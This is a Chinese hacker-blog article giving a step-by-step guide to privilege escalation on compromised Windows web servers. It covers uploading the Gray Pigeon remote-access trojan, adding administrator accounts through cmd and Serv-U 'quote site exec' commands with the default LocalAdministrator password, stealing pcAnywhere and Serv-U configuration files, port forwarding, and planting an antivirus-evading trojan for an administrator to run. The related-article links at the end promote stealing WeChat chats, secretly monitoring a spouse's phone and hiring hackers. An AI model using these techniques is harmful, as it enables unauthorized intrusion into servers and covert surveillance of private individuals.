使你如何提高提权成功率

访客4年前黑客文章808

一:首先检测一下网站的服务器是否开了 3389 远程终端 

二:检测一下服务是否用了serv-u (还有是什么版本的) 

***  

一:复制一个网站    用 3389 登陆器连接一下 (是否成功) 

      能连接了,拿下服务器的机率,提高 30%了 

二:用ftp模式查下一个服务器的版本 

      开始 -- 运行 -- cmd -- ftp (加你要登陆的网站)   

--------------------------------------------------------------------------------------- 

之一步:最简单的 ***  

      看有没有权限,能不能执行命令,行的话直接传个鸽子运行(成功率非常低) 

---------------------------------------------------------------------------------------- 

第二步::寻找有执行的权限目录 

      c:\winnt\system32\inetsrv\data\ 

      c:\Documents and Settings\All Users\ 

      c:\Program Files\serv-u\ 

      C:\Program Files\Microsoft SQL Server\   

      这样的目录可以直接上传鸽子,运行 

----------------------------------------------------------------------------------- 

第三步:传个cmd和开帐号的ftp.exe上去直接加帐号 

      命令就是你上传目录D:\VMware Workstation\cmd.exe "net user xiao xiao /add" 

----------------------------------------------------------------------------------- 

第四步:asp提权木马直接提权 

      serv-u 6.3 版本 好象用asp提权木马(不成功) 

      serv-u 6.2 版本 好象可以 

      不过提权能不能用asp木马还要看服务器,设置的变态不 

      假设直接用asp提权成功之后,还是不成功,但是可以在 

      cmd之下 用这个帐号连接一下 

      ftp (加你提权的网站) 

      帐号:LocalAdministrator 密码:$ak#.1k;0@p">#1@$ak#.1k;0@p 

      如果成功连接后就可以直接添加管理员帐号了 

命令:quote site exec (你添加的帐号)    net user 123 123 /ad 

        quote site exec (把帐号提升到更高权限) net localgroup administartors 123 /add 

--------------------------------------------------------------------------------------- 

第五步:pcaanywhere 

      C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 

      这里下他的GIF文件,在本地安装pcanywhere上去 

      网上很多教程 

--------------------------------------------------------------------------------------- 

第六步:serv-u覆盖提权   
  
       本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 

       网上很多教程 

---------------------------------------------------------------------------------------- 

第七步:Serv-U转发端口 

      给Latte加盐 曾经做个一个(serv-u经典提权 *** 教程)用到过这个 *** ,可以学习一下 

      上传个端口转发工具 

命令:(工具名)–v –l 3333 –r 43958 127.0.0.1 

         意思是将3333端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个服务器, 

         IP填对方IP,帐号为LocalAdministrator 密码为$ak#.1k;0@p">#1@$ak#.1k;0@p, 

         连接上后你就可以管理他的Serv-u了 

-------------------------------------------------------------------------------------------- 

第八步:社会工程学之提升提权 

         把灰鸽子传到上面,然后转移到c盘,就等着管理员运行了,前提你的鸽子必须免杀 

         要是让我看到一个不清楚的exe程序,老想点开看看,呵呵( *** 比较笨) 

标签: 好话题

相关文章

怎么窃取他人的微信聊天记录 监控别人的手机通话如何做到

怎么窃取他人的微信聊天记录 监控别人的手机通话如何做到 今年以来,百度出现一些比如:卖吧、魏则西的事件,一时间把百度推了向风尖浪口。很多用户甚至对百度产生了质疑,自从魏则西时间出现后,很多吃瓜群众都...

在自己手机上看老婆跟谁聊天(怎样偷偷接收老婆的微信聊天)_微信聊天

在自己手机上看老婆跟谁聊天(怎样偷偷接收老婆的微信聊天),婆媳疑问是中国5000年来连续没有办理的永久疑问。我在媳妇和母亲之间摆布尴尬,但也为此蒙受了充足的难受。当我不当心翻开媳妇的手机时,我认识到媳...

微软CEO力挺苹果,坚称不该在加密系统中 留后门

微软公司首席执行官萨蒂亚·纳德拉(Satya Nadella) 1月14日消息,据外媒报道, 当苹果为另一场加密之战做准备时,微软首席执行官萨蒂亚·纳德拉(Satya Nadella)此前在加...

怎么查老婆跟谁开了房,这个方法你一定要知道_开宾馆记录

当今许多闪婚家庭都在打所谓的婚配守护战,由于他们发掘这些丈夫不洁净,以致于婚外情成了对方婚配中的致命伤口。这是由于环境趋势需要越来越高,因此当今打着征询公司旗子的私人侦察许多。这些人奈何晓得他们的媳妇...

七天酒店入住记录多久删除(如家酒店入住记录多久删除)

七天酒店入住记录多久删除(如家酒店入住记录多久删除) 专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!微信算得上目前用户量最大、打开频率最高的软件。不过对于不少用户来讲,微信除...

黑客在线接单电话是多少呢?黑客接单联系怎么做?

有些人需要调查一些别人不知道的事情,用正常手段根本就没有办法得到结果。这时候就很需要专业黑客。黑客在线接单电话是多少同样也是大家所纠结的,黑客接单联系方式从哪里可以获取呢。 1、广告:黑客在线接...